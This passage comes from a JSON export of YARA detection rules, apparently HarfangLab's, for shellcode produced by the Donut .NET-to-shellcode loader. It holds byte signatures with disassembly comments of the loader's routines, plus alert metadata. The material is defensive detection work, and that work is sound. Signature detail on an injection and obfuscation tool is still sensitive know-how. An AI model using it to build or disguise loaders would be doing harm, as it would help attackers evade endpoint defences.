+  "content": "rule donut_loader_0148a149ae21 {\n    meta:\n        title = \"Donut Loader (0148a149ae21)\"\n        id = \"8d57d7d6-32f8-4165-9fd1-0148a149ae21\"\n        description = \"Detects an x86 shellcode or executable wrapped with Donut v0.9.1.\\nDonut is a shellcode generation tool that creates x86 or x64 shellcode payloads from .NET Assemblies.\\nThis shellcode may be used to inject the Assembly into arbitrary Windows processes.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/techniques/T1140/\\nhttps://attack.mitre.org/techniques/T1027/\\nhttps://github.com/TheWover/donut\\nhttps://thewover.github.io/Introducing-Donut/\"\n        date = \"2021-03-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.t1027\"\n        classification = \"Windows.HackTool.Donut\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $dll1 = {\n            85 C9                                   // test    ecx, ecx\n            75 ??                                   // jnz     short loc_2135\n            FF 75 18                                // push    [ebp+arg_10]\n            FF 75 14                                // push    [ebp+arg_C]\n            FF 75 10                                // push    [ebp+arg_8]\n            FF 75 0C                                // push    [ebp+arg_4]\n            50                                      // push    eax\n            FF 75 08                                // push    [ebp+arg_0]\n            E8 ?? ?? ?? ??                          // call    sub_84C\n            8B 36                                   // mov     esi, [esi]\n            83 C4 18                                // add     esp, 18h\n            8B C8                                   // mov     ecx, eax\n            8B 46 18                                // mov     eax, [esi+18h]\n            85 C0                                   // test    eax, eax\n            75 ??                                   // jnz     short loc_210E\n        }\n\n        $dll2 = {\n            C7 44 14 ?? 64 6C 6C 00                 // mov     [esp+edx+1ECh+var_1C3], 6C6C64h\n            42                                      // inc     edx\n            03 CA                                   // add     ecx, edx\n            33 D2                                   // xor     edx, edx\n            38 11                                   // cmp     [ecx], dl\n            74 ??                                   // jz      short loc_9CA\n            8D 74 24 ??                             // lea     esi, [esp+1ECh+var_184]\n            2B F1                                   // sub     esi, ecx\n        }\n\n        $encryption_algorithm = {\n            03 FE                                   // add     edi, esi\n            03 C1                                   // add     eax, ecx\n            C1 C6 05                                // rol     esi, 5\n            33 F7                                   // xor     esi, edi\n            C1 C1 08                                // rol     ecx, 8\n            33 C8                                   // xor     ecx, eax\n            C1 C7 10                                // rol     edi, 10h\n            03 C6                                   // add     eax, esi\n            03 F9                                   // add     edi, ecx\n            C1 C6 07                                // rol     esi, 7\n            C1 C1 0D                                // rol     ecx, 0Dh\n            33 F0                                   // xor     esi, eax\n            33 CF                                   // xor     ecx, edi\n            C1 C0 10                                // rol     eax, 10h\n            83 6C 24 30 01                          // sub     [esp+24h+arg_8], 1\n        }\n\n    condition:\n        $dll1 and $dll2 and $encryption_algorithm\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "donut_loader_0148a149ae21"
+  ],
+  "rule_creation_date": "2021-03-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Donut"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-donut_loader_32c50a072b25_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582034Z",
+  "creation_date": "2026-03-23T11:46:25.582036Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582042Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1140/\nhttps://attack.mitre.org/techniques/T1027/\nhttps://github.com/TheWover/donut\nhttps://thewover.github.io/Introducing-Donut/"
+  ],
+  "name": "donut_loader_32c50a072b25.yar",
+  "content": "rule donut_loader_32c50a072b25 {\n    meta:\n        title = \"Donut Loader (32c50a072b25)\"\n        id = \"cbd5ed76-e00e-44d9-9a70-32c50a072b25\"\n        description = \"Detects an x64 shellcode or executable wrapped with Donut v0.9.3.\\nDonut is a shellcode generation tool that creates x86 or x64 shellcode payloads from .NET Assemblies.\\nThis shellcode may be used to inject the Assembly into arbitrary Windows processes.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/techniques/T1140/\\nhttps://attack.mitre.org/techniques/T1027/\\nhttps://github.com/TheWover/donut\\nhttps://thewover.github.io/Introducing-Donut/\"\n        date = \"2021-03-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.t1027\"\n        classification = \"Windows.HackTool.Donut\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $dll1 = {\n            4D 85 D2                                // test    r10, r10\n            75 ??                                   // jnz     short loc_45DF\n            4C 8B CF                                // mov     r9, rdi\n            4C 8B C6                                // mov     r8, rsi\n            48 8B D0                                // mov     rdx, rax\n            48 8B CD                                // mov     rcx, rbp\n            E8 ?? ?? ?? ??                          // call    sub_2993\n            48 8B 1B                                // mov     rbx, [rbx]\n            4C 8B D0                                // mov     r10, rax\n            48 8B 43 30                             // mov     rax, [rbx+30h]\n            48 85 C0                                // test    rax, rax\n            75 ??                                   // jnz     short loc_45BA\n        }\n\n        $dll2 = {\n            C6 44 04 ?? 64                          // mov     [rsp+rax+240h+var_200], 64h ; 'd'\n            41 8D 41 02                             // lea     eax, [r9+2]\n            C6 44 04 ?? 6C                          // mov     [rsp+rax+240h+var_200], 6Ch ; 'l'\n            41 8D 41 03                             // lea     eax, [r9+3]\n            C6 44 04 ?? 6C                          // mov     [rsp+rax+240h+var_200], 6Ch ; 'l'\n            41 8D 41 04                             // lea     eax, [r9+4]\n        }\n\n        $encryption_algorithm = {\n            41 03 C8                                // add     ecx, r8d\n            03 C2                                   // add     eax, edx\n            41 C1 C0 05                             // rol     r8d, 5\n            44 33 C1                                // xor     r8d, ecx\n            C1 C2 08                                // rol     edx, 8\n            33 D0                                   // xor     edx, eax\n            C1 C1 10                                // rol     ecx, 10h\n            41 03 C0                                // add     eax, r8d\n            03 CA                                   // add     ecx, edx\n            41 C1 C0 07                             // rol     r8d, 7\n            C1 C2 0D                                // rol     edx, 0Dh\n            44 33 C0                                // xor     r8d, eax\n            33 D1                                   // xor     edx, ecx\n            C1 C0 10                                // rol     eax, 10h\n            48 83 EB 01                             // sub     rbx, 1\n        }\n\n    condition:\n        $dll1 and $dll2 and $encryption_algorithm\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "donut_loader_32c50a072b25"
+  ],
+  "rule_creation_date": "2021-03-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Donut"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-donut_loader_371f2637ee15_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567628Z",
+  "creation_date": "2026-03-23T11:46:25.567630Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567636Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1140/\nhttps://attack.mitre.org/techniques/T1027/\nhttps://github.com/TheWover/donut\nhttps://thewover.github.io/Introducing-Donut/"
+  ],
+  "name": "donut_loader_371f2637ee15.yar",
+  "content": "rule donut_loader_371f2637ee15 {\n    meta:\n        title = \"Donut Loader (371f2637ee15)\"\n        id = \"cd3af697-a6ca-47e2-9b44-371f2637ee15\"\n        description = \"Detects an x64 shellcode or executable wrapped with Donut v1.0.0 and v1.1.0.\\nDonut is a shellcode generation tool that creates x86 or x64 shellcode payloads from .NET Assemblies.\\nThis shellcode may be used to inject the Assembly into arbitrary Windows processes.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/techniques/T1140/\\nhttps://attack.mitre.org/techniques/T1027/\\nhttps://github.com/TheWover/donut\\nhttps://thewover.github.io/Introducing-Donut/\"\n        date = \"2024-10-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.t1027\"\n        classification = \"Windows.HackTool.Donut\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $dll1 = {\n            4D 85 D2                                // test    r10, r10\n            75 ??                                   // jnz     short loc_45DF\n            4C 8B CF                                // mov     r9, rdi\n            4C 8B C6                                // mov     r8, rsi\n            48 8B D0                                // mov     rdx, rax\n            48 8B CD                                // mov     rcx, rbp\n            E8 ?? ?? ?? ??                          // call    sub_2993\n            48 8B 1B                                // mov     rbx, [rbx]\n            4C 8B D0                                // mov     r10, rax\n            48 8B 43 30                             // mov     rax, [rbx+30h]\n            48 85 C0                                // test    rax, rax\n            75 ??                                   // jnz     short loc_45BA\n        }\n\n        $dll2 = {\n            C6 44 04 ?? 64                          // mov     [rsp+rax+240h+var_200], 64h ; 'd'\n            41 8D 41 02                             // lea     eax, [r9+2]\n            C6 44 04 ?? 6C                          // mov     [rsp+rax+240h+var_200], 6Ch ; 'l'\n            41 8D 41 03                             // lea     eax, [r9+3]\n            C6 44 04 ?? 6C                          // mov     [rsp+rax+240h+var_200], 6Ch ; 'l'\n            41 8D 41 04                             // lea     eax, [r9+4]\n        }\n\n        $encryption_algorithm = {\n            8B CE                                   // mov     ecx, esi\n            C1 C8 08                                // ror     eax, 0x8\n            8B 74 24 ??                             // mov     esi, dword [esp+0x28]\n            03 C2                                   // add     eax, edx\n            C1 CE 08                                // ror     esi, 0x8\n            33 C7                                   // xor     eax, edi\n            03 F7                                   // add     esi, edi\n            C1 C2 03                                // rol     edx, 0x3\n            33 F3                                   // xor     esi, ebx\n            C1 C7 03                                // rol     edi, 0x3\n            33 D0                                   // xor     edx, eax\n            89 6C 24 ??                             // mov     dword [esp+0x28], ebp\n            33 FE                                   // xor     edi, esi\n            8B E9                                   // mov     ebp, ecx\n        }\n\n    condition:\n        $dll1 and $dll2 and $encryption_algorithm\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "donut_loader_371f2637ee15"
+  ],
+  "rule_creation_date": "2024-10-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Donut"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-donut_loader_822b0b26cfd2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582151Z",
+  "creation_date": "2026-03-23T11:46:25.582153Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582158Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1140/\nhttps://attack.mitre.org/techniques/T1027/\nhttps://github.com/TheWover/donut\nhttps://thewover.github.io/Introducing-Donut/"
+  ],
+  "name": "donut_loader_822b0b26cfd2.yar",
+  "content": "rule donut_loader_822b0b26cfd2 {\n    meta:\n        title = \"Donut Loader (822b0b26cfd2)\"\n        id = \"82913594-2bd8-43c9-b190-822b0b26cfd2\"\n        description = \"Detects an x86 shellcode or executable wrapped with Donut v1.0.0 and v1.1.0.\\nDonut is a shellcode generation tool that creates x86 or x64 shellcode payloads from .NET Assemblies.\\nThis shellcode may be used to inject the Assembly into arbitrary Windows processes.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/techniques/T1140/\\nhttps://attack.mitre.org/techniques/T1027/\\nhttps://github.com/TheWover/donut\\nhttps://thewover.github.io/Introducing-Donut/\"\n        date = \"2024-10-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.t1027\"\n        classification = \"Windows.HackTool.Donut\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $dll1 = {\n            85 C9                                   // test    ecx, ecx\n            75 ??                                   // jne     0x1ccda\n            FF 75 18                                // push    [ebp+0x18]\n            FF 75 14                                // push    [ebp+0x14]\n            FF 75 10                                // push    [ebp+0x10]\n            FF 75 0C                                // push    [ebp+0xc]\n            50                                      // push    eax\n            FF 75 08                                // push    dword [ebp+0x8]\n            E8 ?? ?? ?? ??                          // call    sub_1ada1\n            8B 36                                   // mov     esi, dword [esi]\n            83 C4 18                                // add     esp, 0x18\n            8B C8                                   // mov     ecx, eax\n            8B 46 18                                // mov     eax, [esi+0x18]\n            85 C0                                   // test    eax, eax\n            75 ??                                   // jne     short 0x1ccb3\n        }\n\n        $dll2 = {\n            C7 44 0C ?? 64 6C 6C 00                 // mov     dword [esp+ecx+0x21], 'dll'\n            33 D2                                   // xor     edx, edx\n            41                                      // inc     ecx\n            03 CE                                   // add     ecx, esi\n            38 11                                   // cmp     byte [ecx], dl\n            74 ??                                   // je      0x1cc56\n            8D 74 24 ??                             // lea     esi, [esp+0x60]\n            2B F1                                   // sub     esi, ecx\n        }\n\n        $encryption_algorithm = {\n            8B CE                                   // mov     ecx, esi\n            C1 C8 08                                // ror     eax, 0x8\n            8B 74 24 ??                             // mov     esi, dword [esp+0x28]\n            03 C2                                   // add     eax, edx\n            C1 CE 08                                // ror     esi, 0x8\n            33 C7                                   // xor     eax, edi\n            03 F7                                   // add     esi, edi\n            C1 C2 03                                // rol     edx, 0x3\n            33 F3                                   // xor     esi, ebx\n            C1 C7 03                                // rol     edi, 0x3\n            33 D0                                   // xor     edx, eax\n            89 6C 24 ??                             // mov     dword [esp+0x28], ebp\n            33 FE                                   // xor     edi, esi\n            8B E9                                   // mov     ebp, ecx\n        }\n\n    condition:\n        $dll1 and $dll2 and $encryption_algorithm\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "donut_loader_822b0b26cfd2"
+  ],
+  "rule_creation_date": "2024-10-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Donut"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-donut_loader_8934af49a24a_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567915Z",
+  "creation_date": "2026-03-23T11:46:25.567918Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567924Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1140/\nhttps://attack.mitre.org/techniques/T1027/\nhttps://github.com/TheWover/donut\nhttps://thewover.github.io/Introducing-Donut/"
+  ],
+  "name": "donut_loader_8934af49a24a.yar",
+  "content": "rule donut_loader_8934af49a24a {\n    meta:\n        title = \"Donut Loader (8934af49a24a)\"\n        id = \"72434c78-e9e5-4a8f-b7cd-8934af49a24a\"\n        description = \"Detects an x86 shellcode or executable wrapped with Donut v0.9.2 or v0.9.3.\\nDonut is a shellcode generation tool that creates x86 or x64 shellcode payloads from .NET Assemblies.\\nThis shellcode may be used to inject the Assembly into arbitrary Windows processes.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/techniques/T1140/\\nhttps://attack.mitre.org/techniques/T1027/\\nhttps://github.com/TheWover/donut\\nhttps://thewover.github.io/Introducing-Donut/\"\n        date = \"2021-03-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.t1027\"\n        classification = \"Windows.HackTool.Donut\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $dll1 = {\n            85 C9                                   // test    ecx, ecx\n            75 ??                                   // jnz     short loc_2135\n            FF 75 18                                // push    [ebp+arg_10]\n            FF 75 14                                // push    [ebp+arg_C]\n            FF 75 10                                // push    [ebp+arg_8]\n            FF 75 0C                                // push    [ebp+arg_4]\n            50                                      // push    eax\n            FF 75 08                                // push    [ebp+arg_0]\n            E8 ?? ?? ?? ??                          // call    sub_84C\n            8B 36                                   // mov     esi, [esi]\n            83 C4 18                                // add     esp, 18h\n            8B C8                                   // mov     ecx, eax\n            8B 46 18                                // mov     eax, [esi+18h]\n            85 C0                                   // test    eax, eax\n            75 ??                                   // jnz     short loc_210E\n        }\n\n        $dll2 = {\n            C7 44 14 ?? 64 6C 6C 00                 // mov     [esp+edx+1ECh+var_1C3], 6C6C64h\n            42                                      // inc     edx\n            03 CA                                   // add     ecx, edx\n            33 D2                                   // xor     edx, edx\n            38 11                                   // cmp     [ecx], dl\n            74 ??                                   // jz      short loc_9CA\n            8D 74 24 ??                             // lea     esi, [esp+1ECh+var_184]\n            2B F1                                   // sub     esi, ecx\n        }\n\n        $encryption_algorithm = {\n            03 CF                                   // add     ecx, edi\n            03 C6                                   // add     eax, esi\n            C1 C7 05                                // rol     edi, 5\n            33 F9                                   // xor     edi, ecx\n            C1 C6 08                                // rol     esi, 8\n            33 F0                                   // xor     esi, eax\n            C1 C1 10                                // rol     ecx, 10h\n            03 C7                                   // add     eax, edi\n            03 CE                                   // add     ecx, esi\n            C1 C7 07                                // rol     edi, 7\n            C1 C6 0D                                // rol     esi, 0Dh\n            33 F8                                   // xor     edi, eax\n            33 F1                                   // xor     esi, ecx\n            C1 C0 10                                // rol     eax, 10h\n            83 6C 24 30 01                          // sub     [esp+24h+arg_8], 1\n        }\n\n    condition:\n        $dll1 and $dll2 and $encryption_algorithm\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "donut_loader_8934af49a24a"
+  ],
+  "rule_creation_date": "2021-03-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Donut"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-donut_loader_e1d6ea371306_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567694Z",
+  "creation_date": "2026-03-23T11:46:25.567697Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567706Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1140/\nhttps://attack.mitre.org/techniques/T1027/\nhttps://github.com/TheWover/donut\nhttps://thewover.github.io/Introducing-Donut/"
+  ],
+  "name": "donut_loader_e1d6ea371306.yar",
+  "content": "rule donut_loader_e1d6ea371306 {\n    meta:\n        title = \"Donut Loader (e1d6ea371306)\"\n        id = \"634e3096-62c3-40d6-b804-e1d6ea371306\"\n        description = \"Detects an x64 shellcode or executable wrapped with Donut v0.9.1.\\nDonut is a shellcode generation tool that creates x86 or x64 shellcode payloads from .NET Assemblies.\\nThis shellcode may be used to inject the Assembly into arbitrary Windows processes.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/techniques/T1140/\\nhttps://attack.mitre.org/techniques/T1027/\\nhttps://github.com/TheWover/donut\\nhttps://thewover.github.io/Introducing-Donut/\"\n        date = \"2021-03-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.t1027\"\n        classification = \"Windows.HackTool.Donut\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $dll1 = {\n            4D 85 D2                                // test    r10, r10\n            75 ??                                   // jnz     short loc_45DF\n            4C 8B CF                                // mov     r9, rdi\n            4C 8B C6                                // mov     r8, rsi\n            48 8B D0                                // mov     rdx, rax\n            48 8B CD                                // mov     rcx, rbp\n            E8 ?? ?? ?? ??                          // call    sub_2993\n            48 8B 1B                                // mov     rbx, [rbx]\n            4C 8B D0                                // mov     r10, rax\n            48 8B 43 30                             // mov     rax, [rbx+30h]\n            48 85 C0                                // test    rax, rax\n            75 ??                                   // jnz     short loc_45BA\n        }\n\n        $dll2 = {\n            C6 44 04 ?? 64                          // mov     [rsp+rax+240h+var_200], 64h ; 'd'\n            41 8D 41 02                             // lea     eax, [r9+2]\n            C6 44 04 ?? 6C                          // mov     [rsp+rax+240h+var_200], 6Ch ; 'l'\n            41 8D 41 03                             // lea     eax, [r9+3]\n            C6 44 04 ?? 6C                          // mov     [rsp+rax+240h+var_200], 6Ch ; 'l'\n            41 8D 41 04                             // lea     eax, [r9+4]\n        }\n\n        $encryption_algorithm = {\n            44 03 DA                                // add     r11d, edx\n            03 C1                                   // add     eax, ecx\n            C1 C2 05                                // rol     edx, 5\n            41 33 D3                                // xor     edx, r11d\n            C1 C1 08                                // rol     ecx, 8\n            33 C8                                   // xor     ecx, eax\n            41 C1 C3 10                             // rol     r11d, 10h\n            03 C2                                   // add     eax, edx\n            44 03 D9                                // add     r11d, ecx\n            C1 C2 07                                // rol     edx, 7\n            C1 C1 0D                                // rol     ecx, 0Dh\n            33 D0                                   // xor     edx, eax\n            41 33 CB                                // xor     ecx, r11d\n            C1 C0 10                                // rol     eax, 10h\n            48 83 EE 01                             // sub     rsi, 1\n        }\n\n    condition:\n        $dll1 and $dll2 and $encryption_algorithm\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "donut_loader_e1d6ea371306"
+  ],
+  "rule_creation_date": "2021-03-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Donut"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-donut_loader_e84ada1a5aa2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582115Z",
+  "creation_date": "2026-03-23T11:46:25.582117Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582130Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
